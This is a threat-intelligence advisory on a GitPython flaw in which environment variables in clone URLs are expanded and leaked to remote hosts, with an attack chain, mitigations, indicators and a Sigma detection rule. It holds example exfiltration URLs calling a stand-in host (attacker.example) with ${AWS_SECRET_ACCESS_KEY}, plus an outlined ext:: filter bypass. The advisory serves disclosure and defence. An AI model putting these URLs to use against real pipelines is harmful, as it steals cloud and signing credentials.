~/f4n6 $ grep -r "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL" ./investigations/ --include="*.md"

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

Jeff Davies 24 Sep 2026 8 min read

1. Executive summary

GitPython expands environment-variable tokens inside caller-supplied remote URLs before handing them to git clone, so an attacker who can submit a clone URL to an "import repository from URL" feature can read the hosting process's environment one variable per request. The flaw is present in every release up to and including 3.1.50; the first fix in 3.1.52 covered only Repo.clone_from(), and the same primitive stayed reachable through Repo.create_remote(), Remote.add() and Submodule.add() until 3.1.55. A separate flaw in the same option filter, the omission of --separate-git-dir from unsafe_git_clone_options, was fixed in 3.1.59. No CVSS score, no CISA KEV entry and no exploitation in the wild were resolved for this item in the material supplied; GitHub publishes the advisories in its high-severity feed. For EMEA financial services the exposure sits in CI/CD and build infrastructure that accepts untrusted repository URLs and holds cloud credentials, API tokens or signing keys in the process environment.

2. Regulatory framing

No DORA article is engaged. DORA Art. 17, 18 and 19 cover the management, classification and reporting of ICT-related incidents, and no incident is described in this item. DORA Art. 28, 29 and 30 address contracted ICT third-party providers and concentration risk; an open-source Python library is not a contracted provider in the sense those articles use.

Article Trigger (the fact in this item) Practical impact
NIS2 Art. 21(2)(d) A third-party software dependency in the build and CI/CD supply chain expands attacker-supplied input into the pipeline's own environment secrets and transmits them to an attacker-named host. Supply chain security measures must cover the dependency inventory, control of the untrusted clone-URL path, and update to a fixed release.

3. Technical analysis & attack chain

Confirmed steps, from the advisory and its reproduction:

  1. An application exposes a feature that calls Repo.clone_from() or Repo.clone() with a URL that is wholly or partly attacker-controlled. The advisory names this as the documented pattern for "import repository from URL" features in CI servers, git-hosting mirrors and dependency scanners.
  2. The attacker submits a URL containing an environment-variable token, for example https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git. The token can sit in the path or in the host label.
  3. Repo._clone() runs Git.check_unsafe_protocols(url) against the raw URL (git/repo/base.py line 1408 in 3.1.50). The raw string passes the ext:: filter.
  4. Repo._clone() then passes Git.polish_url(url) to the git clone subprocess (git/repo/base.py line 1417). On non-Cygwin platforms polish_url() calls os.path.expandvars() on the URL (git/cmd.py line 921).
  5. os.path.expandvars() substitutes $NAME and ${NAME} with os.environ[NAME] on POSIX, and additionally %NAME% on Windows. The URL now carries the literal secret.
  6. git clone issues a DNS lookup and an HTTP(S) request to the attacker-named host with the secret in the request path. A token placed in the host label leaks through DNS resolution alone.
  7. The clone normally fails, but the secret has already left the process. Each request discloses one variable, and the attacker repeats with different names.

The mechanism is a trust-boundary error rather than a memory-safety or injection flaw. polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and the clone_from docstring describes url only as a "Valid git url". The maintainers already treat env-var expansion as a security concern for the local repository path: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py lines 226 to 231) and offers expand_vars=False. The network-bound clone URL has no equivalent.

The check-then-use mismatch is the second-order problem. check_unsafe_protocols() validates the pre-expansion string while the post-expansion string is what reaches git. An attacker who also controls an environment variable in the server process can set X=ext::sh -c '...' and submit url="$X"; the raw $X passes the ext:: filter and expands into a remote-helper transport that git executes. The advisory records this as an aggravating factor requiring a second precondition (env-var write), not as a separate vulnerability.

Incomplete fix. The 3.1.52 fix (commit 8ac5a305) added an expand_vars parameter to Git.polish_url() with a default of True, and passed expand_vars=False only from Repo._clone() (git/repo/base.py line 1455 in 3.1.53). The shared helper kept its dangerous default and the sibling callers were not updated. Remote.create() at git/remote.py line 811 still calls Git.polish_url(url) with the default, so a URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side, written into .git/config, and transmitted to the attacker's host on the next fetch or pull. In that caller check_unsafe_protocols() runs after expansion, so it rejects an ext:: payload but does nothing about an https:// URL carrying an expanded secret. The same unguarded call sits at git/objects/submodule/base.py line 611 (Submodule.add), which writes the expanded URL into .gitmodules, a tracked file, as well as .git/config. This was fixed in 3.1.55.

Separate issue in the same option filter. Before 3.1.59, --separate-git-dir was omitted from unsafe_git_clone_options. An attacker can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to a filesystem path of their choosing, which allows arbitrary directory creation and potential hook execution. This is distinct from the environment-variable expansion and was fixed in 3.1.59.

Confidence. The clone_from issue is corroborated by two advisory records (GHSA-rwj8-pgh3-r573 and GHSA-m4f3-g4cq-hqrx), the latter confirming the 3.1.52 fix version. The create_remote and Submodule.add issue is corroborated by GHSA-94p4-4cq8-9g67 and GHSA-9rmj-fh79-gf6w, the latter confirming 3.1.55. The --separate-git-dir issue rests on GHSA-7r39-6q8m-qw68 alone and is single-sourced. The reproduction scripts in the advisories were run by the reporters against 3.1.50 and 3.1.53 on Linux; no independent reproduction is present in the material, and the secondary ext:: bypass was not demonstrated end to end.

4. Mitigation & containment

P1 (within 24 hours)

  • Inventory GitPython across CI/CD runners, build pipelines, dependency scanners, git mirrors and internal tooling: pip show gitpython, pip freeze | grep -i gitpython, and a scan of lockfiles and SBOMs.
  • Identify every code path that passes an untrusted URL to Repo.clone_from(), Repo.clone(), Repo.create_remote(), Remote.add() or Submodule.add(). Where one exists, disable the feature or restrict it to an allowlist of approved hosts until the upgrade lands.
  • Run the clone step in a subprocess with a stripped environment (PATH and the minimum required), so there is nothing for expandvars() to substitute. This is containment, not remediation.
  • Block egress from build hosts and CI runners to hosts outside the approved remote list.
  • Search existing working copies for damage: inspect .git/config and .gitmodules for expanded secret values or residual ${ tokens, and audit configured remote URLs.

P2 (within 72 hours)

  • Upgrade to gitpython >= 3.1.59, which covers all three advisories, and pin the version in requirements.txt, pyproject.toml and lockfiles. Rebuild affected images.
  • Where the upgrade is blocked, on 3.1.52 or later call Git.polish_url with expand_vars=False, or reject any URL containing $ or % before it reaches GitPython and enforce a scheme allowlist (https, ssh, git).
  • Rotate every credential that was present in the environment of a process that accepted an untrusted clone URL, including AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN and any signing keys.
  • If you maintain a fork, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can bypass the ext:: filter.

P3 (within 7 days)

  • Deploy the Sigma rule in §6 to CI runner and build host process-creation telemetry.
  • Review every feature that accepts a repository URL and add host allowlisting plus authentication.
  • Add GitPython to SBOM generation and dependency scanning with alerting on new advisories.
  • Confirm that separate_git_dir is never populated from user input in any wrapper around Repo.clone_from() or Repo.clone().

5. Indicators of compromise

No indicators of compromise available in the source material. The sources describe observable behaviours but no atomic indicators, so no copyable indicator block is provided.

Behavioural indicators

Behaviour Where to observe Confidence
git clone, fetch, pull or remote add command line whose URL contains a $NAME or ${NAME} token Process creation telemetry on CI runners and build hosts High, taken directly from the advisory's mechanism
Outbound DNS or HTTP(S) request from a build host to a host outside the approved remote list, with a long or high-entropy path segment DNS resolver and forward-proxy logs Medium
Expanded secret value present in .git/config or .gitmodules Repository working copies on build hosts High
Remote URL in .git/config containing a value matching a known credential format, such as an AWS access key ID Repository config audit Medium
Repeated clone attempts to the same host with different path segments Git server and proxy logs Medium

These behaviours are derived from the advisory's described mechanism, not from observed incidents. Treat them as detection hypotheses to validate against your own telemetry before enforcement.

6. Detection

No YARA rule is emitted. The artefacts in the source material are legitimate git flags, library source paths and PoC sentinel strings; a rule built from them would match the advisory's own reproduction script or ordinary git usage, not an attack.

The behavioural indicator is detectable at process creation:

title: Git Remote URL Containing Environment Variable Token
id: 6f1c9a2e-3b7d-4c58-9a10-2d4e7f8b1c33
status: experimental
description: >
  Detects git clone, fetch, pull or remote add command lines whose remote URL
  contains a $NAME or ${NAME} environment variable token. GitPython's
  Git.polish_url() expands such tokens with the hosting process environment
  before passing the URL to git, so this pattern in a git command line
  indicates either the vulnerable code path or a direct attempt to exfiltrate
  process secrets.
references:

  - https://github.com/advisories/GHSA-rwj8-pgh3-r573
  - https://github.com/advisories/GHSA-94p4-4cq8-9g67
author: Adverse Trace
date: 2026/09/24
tags:

  - attack.exfiltration
  - attack.t1041
logsource:
  category: process_creation
detection:
  selection_git:
    Image|endswith:

      - '/git'
      - '\git.exe'
  selection_url:
    CommandLine|re: '(https?|ssh|git)://[^\s]*\$\{?[A-Za-z_][A-Za-z0-9_]*'
  condition: selection_git and selection_url
falsepositives:

  - Scripts that pass a literal dollar sign inside a URL. Verify the URL host against the approved remote allowlist before escalating.
level: high

The rule is written for Linux runners; add the Windows git.exe image path (already listed) and the equivalent Sysmon process-creation source for Windows build agents.

7. Sources

  • GitHub Security Advisories, "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL" (GHSA-rwj8-pgh3-r573), https://github.com/advisories/GHSA-rwj8-pgh3-r573, published 2026-07-21.
  • GitHub Security Advisories, "GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from()" (GHSA-m4f3-g4cq-hqrx), https://github.com/advisories/GHSA-m4f3-g4cq-hqrx.
  • GitHub Security Advisories, "GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)" (GHSA-94p4-4cq8-9g67), https://github.com/advisories/GHSA-94p4-4cq8-9g67.
  • GitHub Security Advisories, "GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling" (GHSA-9rmj-fh79-gf6w), https://github.com/advisories/GHSA-9rmj-fh79-gf6w.
  • GitHub Security Advisories, "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options" (GHSA-7r39-6q8m-qw68), https://github.com/advisories/GHSA-7r39-6q8m-qw68.
  • GitHub Advisory Database, CVE-2026-67322, https://github.com/advisories/GHSA-rwj8-pgh3-r573.

8. Adverse Trace position

No CVSS score, no CISA KEV entry and no exploitation in the wild were resolved for this item; the advisories are published in GitHub's high-severity feed, and we are not re-scoring them here. The technical impact is disclosure only, with no integrity or availability effect, but the disclosed values are the credentials that grant access to source, cloud and signing infrastructure, which raises the consequence of a successful request well above the flaw's own footprint. The affected population is narrow and identifiable: applications that accept a clone URL from an untrusted source and run the cloner in a process holding secrets. Clients that do not expose such a feature, or that strip the cloner's environment, are not exposed. The --separate-git-dir issue is single-sourced; verify before treating it as confirmed. We will track the GitPython release stream for any further callers of Git.polish_url() that retain the expand_vars=True default, and we will reissue this note if a CVE record with a CVSS vector or a KEV entry appears. Clients running GitPython in CI/CD should treat the 3.1.59 upgrade and the credential rotation in §4 as the immediate action.


Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies